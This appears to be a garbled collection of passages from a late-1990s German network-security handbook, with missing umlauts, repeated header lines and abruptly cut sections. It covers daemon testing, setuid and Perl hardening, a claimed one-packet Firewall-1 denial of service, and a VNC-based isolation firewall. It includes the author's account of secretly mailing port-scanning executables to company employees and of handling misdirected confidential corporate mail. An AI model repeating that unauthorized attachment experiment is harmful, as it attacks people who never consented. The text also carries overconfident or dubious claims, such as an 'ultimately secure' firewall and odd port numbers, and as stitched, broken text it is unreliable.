Probleme sofort zu korrigieren. Mitprotokolliert werden mu auch, auf welche Files oder weitere Programme /Dienste /Dmonen der getestete Dmon zugreift bzw. zugegriffen hat. Hierzu gehren auch die shared libraries, die zur Laufzeit bzw. beim Start des Dienstes geffnet werden. Falls hierbei Programme auf wichtige Konfigurationsdateien zugreifen, ist zu prfen, ob eine race condition vorliegt. Das ist immer dann der Fall, wenn die Datei beim Lesezugriff durch den Dmon nicht durch schnelle Schreibversuche eines anderen Programms beschdigt werden kann. Ein Angreifer wrde dann mit einem Debugger die Ursache im Binrcode suchen und einen exploit programmieren. Unter http://www.l0pht.com ist die Vorgehensweise fr beliebige Betriebssysteme ausfhrlich beschrieben. Hierzu sind allerdings umgangreiche Kenntnisse in der Speicherarchitektur und in der Maschinensprache des Prozessors erforderlich.
Externe Filter
Man sollte meinen, da Security Scanner erkennen knnen, ob ein Dienst verletzbar ist, oder nicht. Das knnen sie eindeutig nicht. Sogar renomierte Produkte, wie ISS - Securityscanner fragt nur die Versionsnumm ern der Dienstprogramme ab und schaut in einer Datenbank nach, ob evtl. ein Fehler bekannt ist. Er kann weder neue Lcken entdecken, noch erahnen. Da aber ein Dmon mehr als ein Problem haben kann, die bekanntesten sind. sendmail, ftp, DNS - Server, Exchange-Server, Proxys, SSH, SSL-Server, HTTP-Server..., ist ein Security Scanner gut, Hacker abzuwehren. Explizite Angriffe fhren diese hchstens bei der berprfung von mglichen DoS Angriffen auf TCP/IP-Stacks durch. Professionelle Cracker verlassen sich nicht darauf, da sie mal eine in BUGTRAQ verffentlichte Sicherheitslcke mit dem oft gleichzeitig verffentlichten exploit ausnutzen knnen, sondern sie spren diese Sicherheitsprobleme selber auf.
unverschlsselten Kollegen etwas hinterher hinken, daher sind diese Systeme die Nummer 1 auf der Liste von professsionellen Angreifern. Der Support fr SSL -V3 Proxies in Firewalls beschrnkt sich stets auf die Freigabe des Ports 663, ein Schutz besteht auch hier nicht. Ich habe persnlich einmal einige SSL HTTP Server unter Laborbedingungen untersucht, und Angriffe mit den typischen exploits durch einen SSL Tunnel durchgefhrt. Dabei haben sich einige erfolgversprechende Angriffsmglichkeiten mit buffer overflows ergeben.
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
11. Weitere Probleme kann es mit (ansonsten berprften) Kommandozeilenargumente geben, die zu lang sind. 12. Auch Eingaben, die ber eine Pipeline an ein fremdes Programm erfolgen, knnen einen Angriffspunkt darstellen, wenn z.B. gets statt fgets auf der einlesenden Seite verwendet wird. 13. Hufig werden solche Sicherheitsaspekte bei Hilfsprogrammen nicht beachtet, da sie alleine genommen kein Sicherheitsrisiko darstellen.
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
30.3 Lsungsmglichkeiten
1. Bei Skripten mit s-bit sind grundstzlich alle Umgebungsvariablen mit uerster Vorsicht zu behandeln, wenn irgendwelche Kommandos oder Pipelines gestartet werden. Insbesondere sind PATH und IFS neu zu setzen und alle anderen Umgebungsvariablen sollten in ihrer Lnge begrenzt werden. 2. Jeder Systemaufruf open() und jeder Aufruf von system() sollten ganz genau daraufhin untersucht werden, inwieweit hier Abhngigkeiten von den Eingaben eines Angreifers vorliegen. 3. Temporre Dateien sollten in privaten Verzeichnissen angelegt werden, die fr niemanden sonst zugnglich sind oder es sollte mit O_EXCL und O_CREAT gearbeitet werden (dies empfiehlt sich brigens generell!). 4. Generell sollte berprft werden, welche Privilegien tatschlich wie lange notwendig sind: 1. Es ist mglicherweise sinnvoll, den Proze (ggf. ab einem bestimmten Zeitpunkt) oder einen Kindproze unter einer chroot-Umgebung oder unter einer Benutzerberechtigung laufen zu lassen, die nur sehr wenig Rechte gibt. 2. Ein Proze, der mit der Auenwelt in Verbindung steht, kann unter sehr restriktiven Bedingungen laufen und alle gefhrlichen Operationen an einen weiteren Proze mit normalen Privilegien delegieren. Diese Architektur wird z.B. von smtpd und smtpfwdd von Obtuse verwendet.
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
1.
2. 3. 4.
Hier nun ein Beispiel, wie man gezielt eine Parameter bzw. eine Variable als "verdorben" kennzeichnet: if ($address =~ /(.*)@(.*)/) { use Taint qw(taint); $user = $1; $domain = $2; if (tainted $address) { taint $user; taint $domain; } }
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
Zeischriften angefhrten Statistiken und Umfragen zu registrierten Angriffen vlliger Bldsinn. Nach meinen Erfahrungen werden 95% aller Angriffe auf WWW-Server und eine etwas hhere Zahl von Angriffen auf Server ber Arbeitsstationen nicht bemerkt. Die Zahlen bei WWW-Servern begrnden sich LINUX Server mit SPARC und ARM Prozessor im Internet, die von mir speziell konfiguriert wurden, um bekannte und unbekannte buffer overflows zu registrieren. Da von fast allen Angreifern buffer overflows verwendet wurden, die auf INTEL Prozessoren zugeschnitten wurden, war es mglich, diese Angriffe zu registrieren und auszuwerten. Zur Schtzung der Angriffe und Angriffsmglichkeiten auf Intranets habe ich in kleinem Rahmen an mir persnlich bekannte Mitarbeiter bei greren und kleineren Unternehmen Mails mit Attachment versendet. Alle Mitarbeiter haben die Attachements geffnet und die darin enthaltenen (harmlosen Programme) gestartet. Die Erfolgsquote liegt nahe den 100%. Es ist fr jeden von Microsoft zertifizierten MCSD mglich, Angriffswerkzeuge zu schreiben, und per E-Mail an Mitarbeiter von Unternehmen zu versenden. Dieses von mir verwendete .EXE Programm hat einen Portscan ber alle IP-Nummern des Netzwerkesbereiches der Arbeitsstation und einige Broadcast Pakete in das Intranet versendet. Keine der Firmen hat diese bemerkt und Nachforschungen angestellt. Einige Systemadministratoren haben bei einer anschlieenden Besprechung diese zwar Scans bemerkt, konnten jedoch die Ursache und Herkunft nicht ergrnden. Abschlieend mchte ich behaupten, da man jede Person die eine Zertifizierung als MCSD besitzt und die die Mglichkeiten kennt (nach der Lektre diese Handbuches sptestens hat sie diese), wie man Angriffswerkzeuge schreibt, schon als potentiellen Cracker betrachten mu, der ber das Wissen verfgt, in beliebige Unternehmen vorzudringen, und Informationen aus diesen in das Internet zu entfhren.
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
Kann es denn wirklich mglich sein, da keine Security Consulting Firma bei der berprfung der Firewalls mit Standard Angriffstools bemerkt hat, da hier Firewall-1 4.0 einfach mit einem UDP Paket auf Port 0 unter SOLARIS 2.6/2.7 lahmgelegt werden kann ? Ein Beispiel hier aus dem Code von Firewall-1 von Checkpoint: // // // // INSPECT Security Policy Skript Generated by [email protected] at 12Mar98 17:20:57 from Rulebase by FireWall-1 Version 3.0b [VPN] Compiler Running under SunOS5.5.1
// Number of Authentication and Encryption rules #define NAUTHENTICATION 0 #define NENCRYPTION 0 #define NLOGIC 0 #define NLOGICFOLD 0 #define NACCOUNT 0 ///////////////////////////// // Exported Rules Database // ///////////////////////////// export { ( :auth () :crypt () :logic () :logicfold () :proxy () :rules ( : (rule-1 :src ( : Any ) :dst ( : lapdancer ) :services : : : ) :action ( : ( H323 NetMeeting NetMeeting-DirSrv
:macro (RECORD_CONN) :icon-name (icon-accept) :text-rid (61463) :windows-color (green) ) ) :track ( : Long ) :install ( : (Gateways :type (gateways) :color ("Navy Blue") :icon-name (icon-gateways) ) ) :time ( : Any ) ) : (rule-2 :src ( : Any ) :dst ( : Any ) :services (
LITTLE-IDIOT NETWORKING
dringend geboten ist, um auszuschlieen, da Hintertren eingebaut wurden. Eine Firmen lassen trotzdem ihre Firewall Anbindung gerne berprfen. Ziel knnte es z.B. sein, eine Datei von einem internen (FTP/FILE) Server in das Internet zu entfhren. Diese Aufgabe ist dank Microsofts Sicherheitspolitik doch recht einfach zu bewltigen. Viel wichtiger ist es, da die Alarmmechanismen auch funktionieren. Es darf einem Angreifer nicht gelingen, eine Datei unbemerkt zu entfhren. Hierzu mu ein Angriff tatschlich ausgefhrt werden. Wenn der Systemadministrator alle Angriffe im Alltagsstre bemerkt, dann ist viel erreicht. Hierzu gehrt eine mehrtgige Ausbildung. Eine Firewall ist nur so sicher, wie sein Bedienungspersonal qualifiziert ist. Dabei spielen der Hersteller der Firewall und die Eigenschaften der Firewall nur eine untergeordnete Rolle. Man sollte also an der Firewall sparen, nicht aber an der Ausbildung der Administratoren. Wer Wert auf Bedienungskomfort der Firewall legt, der ist auch mit dem JAVA-Interface der SINUS Firewall gut bedient.
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
I N T E R N E T ^ | Router | | Transfernetz | | | LINUX GRAPHICAL WALL | MAIL/Netscape/VNC Firewall 1 | | | <---+---------------+---Firewall 2 -->lokales Netz (VNC Clients) Beispiel LINUX GRAPHICAL WALL Die Idee dahinter liegt darin, nur Informationen von Bildschirm und Mouse ber die Firewall zu bertragen, whrend die gefhrdeten Applikationen auf der LINUX GRAPHICAL WALL laufen, z.B. Netscape. Hierzu werden auf dem LINUX Server VNC-Server installiert. VNC ist absolut vergleichbar mit PC ANYWHERE, jedoch vllig kostenlos und im Quellcode verfgbar. Fr jede Arbeitsstation wird ein VNC-Server auf den Ports 6000 auf LINUX installiert. Fr jeden User mu ein eigener VNC-Server auf LINUX installiert werden. Hierzu werden Ports von 6000 an aufwrts verwendet. Auf den Arbeitsstationen wird ein JAVA VNC Client installiert, der die virtuelle X-Windows Oberflche von LINUX grafisch auf die Arbeitsstationen bertrgt. Informationen von Maus und Tastatur werden von den Arbeitsstationen auf die VNC-Server bertragen. Jeder Arbeitstation wird dann ein eigener VNC-Server zugeordnet. Da alle Anwendungen ja auf der LINUX Maschine laufen, kann ein Angreifer hchstens in diesen Server eindringen. ber die Firewall-2 kommt er nicht hinweg. Ich habe eine ganze Reihe von Angriffen durchgefhrt. Selbstverstndlich sind DoS Angriffe auf den LINUX GRAPHICAL WALL Server, der stellvertretend fr die User im lokalen Netz surft, mglich. Hier endeten
jedoch alle Wege. Der Versuch, den Datenstrom zu den Clients hinter Firewall 2 in dem lokalen Netzwerk zu stren, resultierten in PIXEL - Strungen auf deren Bildschirmen, mehr nicht. Weiter kann man als Angreifer nicht kommen. Einen Nachteil hat diese Konstruktion jedoch - Der User an der Arbeitsstation kann zwar Mails lesen und Programme downloaden, diese verbleiben jedoch stets auf der LINUX GRAHICAL WALL. ber einen angeschlossenen Drucker knnen Mails und Attachments ausgedruckt werden, mehr nicht. Der Vorteil dieser Firewallkonstruktion ist, da Viren, trojanische Pferde niemals ber Firewall-2 hinweg bertragen werden knnen. Die Konfiguration von Firewall-2 ist relativ einfach - fr jeden User mu jeweils 1 TCP Port von Port 6000 an aufwrts reserviert werden. Ein Angreifer kann mit dem VNC Protokoll keinerlei Schaden auf den Arbeitsstationen anrichten. Erstens enthlt das VNC Protokoll ja nur Bildschirminformationen fr die Clients, zweitens luft es in der JAVA SANDBOX ab, die zustzliche Sicherheit bietet. Die Nachteile dieser Konstruktion sollen hier natrlich auch nicht verschwiegen werden. Gegenber allen anderen Firewalls sind die Nebenwirkungen aber uerst gering. Es gibt evtl. Probleme der Performance bei der bertragung der Bildschirminhalte. Wer noch ein 10 MBit Netzwerk besitzt, der wird bemerken, da die Inhalte bei mehr als 10 simultanen Usern nur noch ruckelnd bertragen werden. Die Flut der Pixelinformationen sorgt trotz Kompression fr eine ruckelnde bertragung. Bei geswitchten 100 MBit Netzwerken knnen durchaus bis zu mehrere dutzend User simultan surfen. Hier wird das Limit durch die Performance der LINUX GRAPHICAL WALL gesetzt. Viel RAM und ein schneller Prozessor, sowie eine oder mehrere 100 MBit Karten reichen hier jedoch vllig aus. Wer dennoch Performanceprobleme hat, der sollte mehrere LINUX GRAPHICAL WALL aufbauen. Wer viele User surfen lassen mchte, und wem die Performance nicht reicht, der kann auf den Arbeitsstationen den Freeware X-Server (Server ist korrekt, obwohl Client) fr Windows 95/98/NT installieren. Das X-Protokoll ist sehr kompakt und erlaubt den Anschlu von mehreren hundert Arbeitsstationen pro 100 MBit LAN. Hier werden zwar auch nur Bildschirminformationen bertragen, jedoch besteht die Gefahr eines Buffer Overflows im X-Server auf der Arbeitsstation hinter der Firewall 2. Diese Gefahr ist jedoch nicht so bedeutend, da ein Einbruchsversuch in den LOGFILES von Firewall-2 schnell bemerkt werden wrde. Diese GRAPHICAL WALL ist in zahlreichen Unternehmen im Einsatz und hat sich uerst bewhrt. Probleme mit Viren, Makroviren, trojanischen Pferden gehren dort nun der Vergangenheit an. Und wenn nun ein Angreifer es schafft, bis zur LINUX GRAPHICAL WALL vorzudringen, dann sicherlich nicht unbemerkt. Sptestens bei der Entdeckung der VNC - Server wird ein professioneller Cracker das Handtuch werfen. Das Toolkit VNC ist im Internet unter http://www.uk.research.att.com/vnc/index.html zu finden. VNC liegt im Quellcode vor und unterliegt der GNU Public License. Support wird inzwischen von AT angeboten (frher eine Entwicklung von Olivetti). VNC wird fr viele Betriebssysteme angeboten, UNIX, MAC, Windows. Die Clients liegen sogar in einer JAVA Version vor, soda sichergestellt ist, da in Zukunft auch alle Betriebssysteme untersttzt werden. Die verwendeten Ports entsprechen denen von X-Windows, es wird jedoch nicht das RPC Protokoll eingesetzt. Eine einfache Freischaltung der Ports von 6000 -600x (je nach Zahl der Clients) auf der Firewall gengt. Es sollte auch nicht unerwhnt bleiben, da die Folgekosten des Einsatzes der LINUX GRAPHICAL WALL erheblich geringer sind. Der Grund liegt darin, da keinerlei Folgekosten fr Lizenzen fr Virenscanner, Neu/Nachinstallationen von Software auf Windows Clients entstehen. Die LINUX GRAPHICAL WALL ist bereits erfolgreich bei zahlreichen Banken und Versicherungen im
Einsatz. Das System arbeitet stabil und ohne besondere Probleme. In normalen Unternehmen ist die LINUX GRAPHICAL WALL fr den Einsatz in den Bereichen Buchfhrung/Geschftsleitung prdestiniert, also immer da, wo die Clients besonderen Gefahren durch Viren, trojanische Pferde, Active-X Applets.... ausgesetzt sind. Wer in einem Unternehmen bereits stukturierte Verkabelung mit intelligenten, aktiven Komponenten eingefhrt hat, der kann mit Hilfe von V-LANs bestimmte Arbeitspltze im Unternehmen sicher mit Hilfe der LINUX GRAPHICAL WALL gegen Angriffe absichern. Warum noch niemand auf diese Idee gekommen ist ? Nun - man kann kein Geld damit verdienen......daher ist die Konstruktion in dieser Art verworfen worden.....FINJAN bietet aber etwas hnliches fr Active-X und JAVA an......natrlich patentiert und sehr teuer.... Die VNC-Server sind sehr einfach aufzusetzen, sowohl unter LINUX als auch unter SOLARIS, also auch fr Anfnger kein Problem. Der Client bedarf keine Konfiguration und kann sofort gestartet werden. Man sollte jedoch wissen, da das INTEL Executable nicht gegen buffer overflows immun ist, und den JAVA Client stets vorziehen. Viel Spa nur mit der ultimativ sicheren LINUX GRAPHICAL WALL, jedenfalls ist mir persnlich kein Weg bekannt, berhaupt ber diese FIREWALL trojanische Pferde oder Viren in ein Netzwerk einzuschleusen. Diese Probleme drften nun der Vergangenheit angehren.
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
einer nicht zustellbaren E-Mail genauer zu untersuchen. Warum dieses Trouble Ticket mit der Nummer 1705 mich im Internet erreichte, war mir vllig unklar. Klar war nur - dieses htte den Konzern nicht verlassen drfen. Ich informierte mal wieder den Systemadministrator, der nicht reagierte. Sehr wohl aber wunderte ich mich, da diese Systemadministratoren meinen Internet-Server genau untersuchten. Auf eine Untersuchung mit einem Security Scanner folgte eine genaue Inspektion aller Seiten von allen Domains auf diesem Server, und zwar ber ein Gateway, welches offensichtlich in Deutschland an das Internet angebunden war. Alle fehlerhaft zugestellten Mails stammten, so wies es zumindest der Header aus, von einem Gateway in den USA. Ich untersuchte das USA-Gateway und stellte fest, da dieses gut durch eine Firewall gesichert war. Danach fhrte ich mit Hilfe des ISS Security Scanners eine kleine Untersuchung dieses deutschen Gateways durch, von welchem aus mein Server grndlich untersucht wurde. Es waren jedoch keinerlei Sicherheitslcken erkennbar. Als ich dann alle DNS Logs auswertete, stellte ich fest, da DNS-Anfragen von diesem Gateway an meinen Internet-Server gingen. Das machte mich ein wenig stutzig. E-Mails laufen ber ber das USA-Gateway, DNS und Surf-Traffic fr die Mitarbeiter laufen ber ein deutsches Gateway. Fein. Ich untersuchte noch die Header von ein paar hundert internen E-Mails, und stellte fest, da offensichtlich der Backup Server des X.400 Gateways einen Fehler bei der bersetzung der X.400 Adressen in das Internet-Format hatte. Der Original X.400 Server war offensichtlich in Ordnung. Ich hatte also den Fehler in deren Netzwerk gefunden: Immer, wenn ein X.400 Server ausfiel, dann wurden fr diese Zeit alle Mails in das Internet versendet. Das waren an einigen Tagen mehrere Gigabyte. Darunter natrlich auch uerst vertrauliche Informationen, die ich selbstverstndlich sofort gelscht habe. Ich erhielt in der Folge noch weitere Trouble Tickets, worin sich Systemadministratoren darber austauschten, warum einige E-Mails den Empfnger nicht erreichten. Ich sendete an diese freundlicherweise eine E-Mail, worin ich nochmals darauf hinwies, da es wohl recht merkwrdig sei, wenn sogar die Trouble Tickets mit sicherheitsrelavanten Informationen bei mir landeten. Diese Mails blieben ohne Antwort. Es war inzwischen Januar 1998, als ich die ganze Geschichte einem Reporter eines Kseblattes bergab, der dieses Problem dann netterweise als Unfall schilderte, was es im Grunde auch war. Auch die EDV-Leitung dieser Elektrofirma war unterrichtet, also dachte ich, da das Problem behoben sei. Inzwischen war es Januar 1999, als mich der Schlag traf: In meinem Briefkasten lag ein Winword Dokument von einem Mitarbeiter von Sehnix an eine bekannte Bank, bezeichnen wir diese einmal mit K-Bank, worin dieser detailliert das neue Sicherheitskonzept fr das weltweite Netzwerk unter Windows NT mit Backoffice beschrieb. Der Inhalt war auch fr mich sehr aufschlureich in so fern, als da dieser sich hinter den Sicherheitsempfehlungen von Microsoft versteckte, und sein ganzes Konzept keinerlei Sicherheitsbarrieren bzw. Kontrollmglichkeit des Traffics innerhalb des weltweiten Netzwerkes aufwies. Ich wendete mich also im Februar telefonisch an den Adressaten in der K-Bank, einem EDV - Leiter, der
mich darum bat, schnellstmglich ihm dieses Dokument PGP verschlsselt zuzumailen. Ich wies ihn freundlich darauf hin, da dieses Dokument bereits mehrfach unverschlsselt durch das Internet versandt worden sei, und da ich PGP nicht verwende. Ich sendete ihm also das Dokument und habe bis heute auch keinerlei E-Mails mehr von Firma Sehnix erhalten. Es gab zwar in der Zwischenzeit nur einen panischen Anruf, bei welchem mich ein Systemadministrator von Sehnix dringend darum bat, eine versehentlich an meine Domain versandte, hchst vertrauliche Mail zu lschen, was ich ihm auch versprach, allerdings wei ich bis heute nicht, welche Mail er gemeint haben knnte. An diesem Tag jedenfalls habe ich keinerlei fehlgeleiteten E-Mails von Firma Sehnix erhalten.
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
ohne Log-Eintrge zu hinterlassen, mich auf Servern im Unternehmen lnger unbemerkt umzuschauen. Ich benachrichtige also die Geschftsleitung dieses Unternehmens, da ich wichtige Daten aus dem Netzwerk hinter der Firewall besitze und erzhle, wie ich an die Daten gelangt bin. Der Kommentar: So einfach hatten wir uns das nicht vorgestellt.......
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
Da wei man, was man hat ! Schnen, guten Abend (Zitat von Jan Hagemeier, Bonn :)
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
q q q
q q
Steven McCanne und Van Jacobsen fr die Entwicklung der BSD Socket Filter und deren Portierung auf LINUX, Linux Socket Filter. Jos Vos, dem Entwickler der LINUX Kernel Firewall (ipfwadm) Rusty Russell, dem Maintainer und Entwickler des IPCHAINS Code im LINUX Kernel 2.2 Marcus Ranum, dem Autor des TIS Firewall Toolkits, http://www.fwtk.org, dem Erfinder der Application Level Proxys und Programmierer der TIS Gautlet Firewall, die brigends auch unter LINUX luft. Das TIS FWTK war der Vorlufer aller Firewalls und ist auch heute noch gut brauchbar. Meiner Freundin Beate fr die viele Geduld und Untersttzung Bernd Eckenfels fr seine unermdliche Arbeit beim Aufbau der FreeFire Site auf http://sites.inka.de/sites/lina/freefire-l/ Jens Hellmerichs-Friedrich fr das Firewall Configuration Toolkit ( FCT ), welches erhebliche Mhen beim Aufsetzen und Konfigurieren der IPFWADM und IPCHAINS Firewall-Skripte erspart. Man findet es unter http://www.fen.baynet.de/~ft114/FCT/index.htm oder besser, weil aktueller, unter http://www.friedrich-net. Weitere Toolkits findet man auf http://www.freshmeat.net. Prof. Andreas Borchert, UNI-Ulm fr seine wertvollen Tips zur Absicherung von PERL: http://www.mathematik.uni-ulm.de/sai/ss98/db/Skript/perlsec.html
LITTLE-IDIOT NETWORKING